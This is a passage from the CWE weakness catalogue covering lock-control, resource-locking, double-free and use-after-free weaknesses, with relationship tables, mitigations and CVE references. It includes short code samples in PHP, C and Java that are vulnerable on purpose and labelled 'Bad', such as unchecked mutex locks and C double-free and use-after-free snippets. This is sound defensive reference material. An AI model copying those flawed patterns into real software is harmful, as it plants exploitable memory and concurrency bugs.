This prevents the product from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375
CanAlsoBe		410	Insufficient Resource Pool	945

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2118

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	

Scope	Impact	Likelihood
	When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.	

## Detection Methods

### White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

Use any access control that is offered by the functionality that is offering the lock.

### Phase: Architecture and Design

#### Phase: Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

### Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

## Demonstrative Examples

### Example 1:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP

(Bad)

```
function writeToLog($message){
    $logfile = fopen("logfile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logfile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

## Observed Examples

Reference	Description
<b>CVE-2001-0682</b>	Program can not execute when attacker obtains a mutex. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0682">https://www.cve.org/CVERecord?id=CVE-2001-0682</a>

Reference	Description
<b>CVE-2002-1914</b>	Program can not execute when attacker obtains a lock on a critical output file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1914">https://www.cve.org/CVERecord?id=CVE-2002-1914</a>
<b>CVE-2002-1915</b>	Program can not execute when attacker obtains a lock on a critical output file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1915">https://www.cve.org/CVERecord?id=CVE-2002-1915</a>
<b>CVE-2002-0051</b>	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0051">https://www.cve.org/CVERecord?id=CVE-2002-0051</a>
<b>CVE-2000-0338</b>	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0338">https://www.cve.org/CVERecord?id=CVE-2000-0338</a>
<b>CVE-2000-1198</b>	Chain: Lock files with predictable names. Resultant from randomness. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1198">https://www.cve.org/CVERecord?id=CVE-2000-1198</a>
<b>CVE-2002-1869</b>	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1869">https://www.cve.org/CVERecord?id=CVE-2002-1869</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	361	7PK - Time and State	700	2113
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	<b>C</b>	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159
MemberOf	<b>C</b>	989	SFP Secondary Cluster: Unrestricted Lock	888	2206
MemberOf	<b>C</b>	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2242

### Notes

#### Relationship

This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted Critical Resource Lock
7 Pernicious Kingdoms			Deadlock
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	LCK00-J		Use private final lock objects to synchronize classes that may interact with untrusted code
The CERT Oracle Secure Coding Standard for Java (2011)	LCK07-J		Avoid deadlock by requesting and releasing locks in the same order
Software Fault Patterns	SFP22		Unrestricted lock

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock



## CWE-413: Improper Resource Locking

**Weakness ID** : 413  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.

### Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the product. This might violate the product's assumption that the resource will not change, potentially leading to unexpected behaviors.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375
ParentOf		591	Sensitive Data Storage in Improperly Locked Memory	1251

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2118

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability DoS: Crash, Exit, or Restart	

### Potential Mitigations

#### Phase: Architecture and Design

Use a non-conflicting privilege scheme.

#### Phase: Architecture and Design

#### Phase: Implementation

Use synchronization when locking a resource.

### Demonstrative Examples

#### Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

*Example Language: C*

*(Bad)*

```
void f(pthread_mutex_t *mutex) {  
    pthread_mutex_lock(mutex);
```

```

/* access shared resource */
pthread_mutex_unlock(mutex);
}

```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(Good)

```

int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}

```

## Example 2:

This Java example shows a simple `BankAccount` class with deposit and withdraw methods.

Example Language: Java

(Bad)

```

public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}

```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the `synchronized` modifier.

Example Language: Java

(Good)

```

public class BankAccount {

```

```

...
// synchronized method to deposit amount into BankAccount
public synchronized void deposit(double depositAmount) {
    ...
}
// synchronized method to withdraw amount from BankAccount
public synchronized void withdraw(double withdrawAmount) {
    ...
}
...
}

```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Example Language: Java

(Good)

```

public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2205
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Locking
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	LCK00-J		Use private final lock objects to synchronize classes that may interact with untrusted code
Software Fault Patterns	SFP19		Missing Lock

## CWE-414: Missing Lock Check

**Weakness ID :** 414

**Structure :** Simple

**Abstraction :** Base

### Description

A product does not check to see if a lock is present before performing sensitive operations on a resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	667	Improper Locking	1375

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2118

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Availability	DoS: Instability	

Scope	Impact	Likelihood
	DoS: Crash, Exit, or Restart	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Implement a reliable lock mechanism.

### Observed Examples

Reference	Description
<b>CVE-2004-1056</b>	Product does not properly check if a lock is present, allowing other attackers to access functionality. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1056">https://www.cve.org/CVERecord?id=CVE-2004-1056</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		986	SFP Secondary Cluster: Missing Lock	888	2205

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Lock Check
Software Fault Patterns	SFP19		Missing Lock

## CWE-415: Double Free

**Weakness ID :** 415

**Structure :** Simple

**Abstraction :** Variant

### Description

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

### Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1374
ChildOf		1341	Multiple Releases of Same Resource or Handle	2068

Nature	Type	ID	Name	Page
ChildOf	B	825	Expired Pointer Dereference	1612
PeerOf	B	123	Write-what-where Condition	310
PeerOf	V	416	Use After Free	958
CanFollow	B	364	Signal Handler Race Condition	851

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1386

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**Double-free** :

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Choose a language that provides automatic memory management.

#### Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

#### Phase: Implementation

Use a static analysis tool to find double free instances.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);  
...  
if (abrt) {  
    free(ptr);  
}  
...  
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Example 2:

While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on.

Example Language: C

(Bad)

```
#include <stdio.h>  
#include <unistd.h>  
#define BUFSIZE1 512  
#define BUFSIZE2 ((BUFSIZE1/2) - 8)  
int main(int argc, char **argv) {  
    char *buf1R1;  
    char *buf2R1;  
    char *buf1R2;  
    buf1R1 = (char *) malloc(BUFSIZE2);  
    buf2R1 = (char *) malloc(BUFSIZE2);  
    free(buf1R1);  
    free(buf2R1);  
    buf1R2 = (char *) malloc(BUFSIZE1);  
    strncpy(buf1R2, argv[1], BUFSIZE1-1);  
    free(buf2R1);  
    free(buf1R2);  
}
```

## Observed Examples

Reference	Description
<b>CVE-2006-5051</b>	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5051">https://www.cve.org/CVERecord?id=CVE-2006-5051</a>
<b>CVE-2004-0642</b>	Double free resultant from certain error conditions. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0642">https://www.cve.org/CVERecord?id=CVE-2004-0642</a>
<b>CVE-2004-0772</b>	Double free resultant from certain error conditions. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0772">https://www.cve.org/CVERecord?id=CVE-2004-0772</a>
<b>CVE-2005-1689</b>	Double free resultant from certain error conditions. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1689">https://www.cve.org/CVERecord?id=CVE-2005-1689</a>
<b>CVE-2003-0545</b>	Double free from invalid ASN.1 encoding. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0545">https://www.cve.org/CVERecord?id=CVE-2003-0545</a>
<b>CVE-2003-1048</b>	Double free from malformed GIF. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1048">https://www.cve.org/CVERecord?id=CVE-2003-1048</a>
<b>CVE-2005-0891</b>	Double free from malformed GIF. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0891">https://www.cve.org/CVERecord?id=CVE-2005-0891</a>



Reference	Description
<b>CVE-2002-0059</b>	Double free from malformed compressed data. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0059">https://www.cve.org/CVERecord?id=CVE-2002-0059</a>

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	398	7PK - Code Quality	700	2116
MemberOf	<b>C</b>	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	<b>C</b>	969	SFP Secondary Cluster: Faulty Memory Release	888	2197
MemberOf	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	<b>C</b>	1237	SFP Primary Cluster: Faulty Resource Release	888	2275

### Notes

#### Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

#### Theoretical

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms			Double Free
CLASP			Doubly freeing memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	CWE More Specific	Do not access freed memory
CERT C Secure Coding	MEM31-C		Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12		Faulty Memory Release

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-416: Use After Free

**Weakness ID** : 416  
**Structure** : Simple  
**Abstraction** : Variant

### Description

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

### Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for freeing the memory.







In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		825	Expired Pointer Dereference	1612
PeerOf		415	Double Free	954
CanFollow		364	Signal Handler Race Condition	851
CanFollow		1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1926
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
CanPrecede		123	Write-what-where Condition	310


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**Dangling pointer** :

**Use-After-Free** :

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Choose a language that provides automatic memory management.

#### Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
```

```

char *buf3R2;
buf1R1 = (char *) malloc(BUFSIZER1);
buf2R1 = (char *) malloc(BUFSIZER1);
free(buf2R1);
buf2R2 = (char *) malloc(BUFSIZER2);
buf3R2 = (char *) malloc(BUFSIZER2);
strncpy(buf2R1, argv[1], BUFSIZER1-1);
free(buf1R1);
free(buf2R2);
free(buf3R2);
}

```

### Example 2:

The following code illustrates a use after free error:

Example Language: C

(Bad)

```

char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}

```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

### Observed Examples

Reference	Description
<b>CVE-2021-0920</b>	Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-0920">https://www.cve.org/CVERecord?id=CVE-2021-0920</a>
<b>CVE-2020-6819</b>	Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-6819">https://www.cve.org/CVERecord?id=CVE-2020-6819</a>
<b>CVE-2010-4168</b>	Use-after-free triggered by closing a connection while data is still being transmitted. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4168">https://www.cve.org/CVERecord?id=CVE-2010-4168</a>
<b>CVE-2010-2941</b>	Improper allocation for invalid data leads to use-after-free. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2941">https://www.cve.org/CVERecord?id=CVE-2010-2941</a>
<b>CVE-2010-2547</b>	certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2010-2547">https://www.cve.org/CVERecord?id=CVE-2010-2547</a>
<b>CVE-2010-1772</b>	Timers are not disabled when a related object is deleted <a href="https://www.cve.org/CVERecord?id=CVE-2010-1772">https://www.cve.org/CVERecord?id=CVE-2010-1772</a>
<b>CVE-2010-1437</b>	Access to a "dead" object that is being cleaned up <a href="https://www.cve.org/CVERecord?id=CVE-2010-1437">https://www.cve.org/CVERecord?id=CVE-2010-1437</a>
<b>CVE-2010-1208</b>	object is deleted even with a non-zero reference count, and later accessed <a href="https://www.cve.org/CVERecord?id=CVE-2010-1208">https://www.cve.org/CVERecord?id=CVE-2010-1208</a>
<b>CVE-2010-0629</b>	use-after-free involving request containing an invalid version number <a href="https://www.cve.org/CVERecord?id=CVE-2010-0629">https://www.cve.org/CVERecord?id=CVE-2010-0629</a>
<b>CVE-2010-0378</b>	unload of an object that is currently being accessed by other functionality <a href="https://www.cve.org/CVERecord?id=CVE-2010-0378">https://www.cve.org/CVERecord?id=CVE-2010-0378</a>
<b>CVE-2010-0302</b>	incorrectly tracking a reference count leads to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2010-0302">https://www.cve.org/CVERecord?id=CVE-2010-0302</a>







Reference	Description
<b>CVE-2010-0249</b>	use-after-free related to use of uninitialized memory <a href="https://www.cve.org/CVERecord?id=CVE-2010-0249">https://www.cve.org/CVERecord?id=CVE-2010-0249</a>
<b>CVE-2010-0050</b>	HTML document with incorrectly-nested tags <a href="https://www.cve.org/CVERecord?id=CVE-2010-0050">https://www.cve.org/CVERecord?id=CVE-2010-0050</a>
<b>CVE-2009-3658</b>	Use after free in ActiveX object by providing a malformed argument to a method <a href="https://www.cve.org/CVERecord?id=CVE-2009-3658">https://www.cve.org/CVERecord?id=CVE-2009-3658</a>
<b>CVE-2009-3616</b>	use-after-free by disconnecting during data transfer, or a message containing incorrect data types <a href="https://www.cve.org/CVERecord?id=CVE-2009-3616">https://www.cve.org/CVERecord?id=CVE-2009-3616</a>
<b>CVE-2009-3553</b>	disconnect during a large data transfer causes incorrect reference count, leading to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2009-3553">https://www.cve.org/CVERecord?id=CVE-2009-3553</a>
<b>CVE-2009-2416</b>	use-after-free found by fuzzing <a href="https://www.cve.org/CVERecord?id=CVE-2009-2416">https://www.cve.org/CVERecord?id=CVE-2009-2416</a>
<b>CVE-2009-1837</b>	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) <a href="https://www.cve.org/CVERecord?id=CVE-2009-1837">https://www.cve.org/CVERecord?id=CVE-2009-1837</a>
<b>CVE-2009-0749</b>	realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free <a href="https://www.cve.org/CVERecord?id=CVE-2009-0749">https://www.cve.org/CVERecord?id=CVE-2009-0749</a>
<b>CVE-2010-3328</b>	Use-after-free in web browser, probably resultant from not initializing memory. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3328">https://www.cve.org/CVERecord?id=CVE-2010-3328</a>
<b>CVE-2008-5038</b>	use-after-free when one thread accessed memory that was freed by another thread <a href="https://www.cve.org/CVERecord?id=CVE-2008-5038">https://www.cve.org/CVERecord?id=CVE-2008-5038</a>
<b>CVE-2008-0077</b>	assignment of malformed values to certain properties triggers use after free <a href="https://www.cve.org/CVERecord?id=CVE-2008-0077">https://www.cve.org/CVERecord?id=CVE-2008-0077</a>
<b>CVE-2006-4434</b>	mail server does not properly handle a long header. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4434">https://www.cve.org/CVERecord?id=CVE-2006-4434</a>
<b>CVE-2010-2753</b>	chain: integer overflow leads to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2010-2753">https://www.cve.org/CVERecord?id=CVE-2010-2753</a>
<b>CVE-2006-4997</b>	freed pointer dereference <a href="https://www.cve.org/CVERecord?id=CVE-2006-4997">https://www.cve.org/CVERecord?id=CVE-2006-4997</a>

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		398	7PK - Code Quality	700	2116
MemberOf		742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf		983	SFP Secondary Cluster: Faulty Resource Use	888	2204
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Use After Free
CLASP			Using freed memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
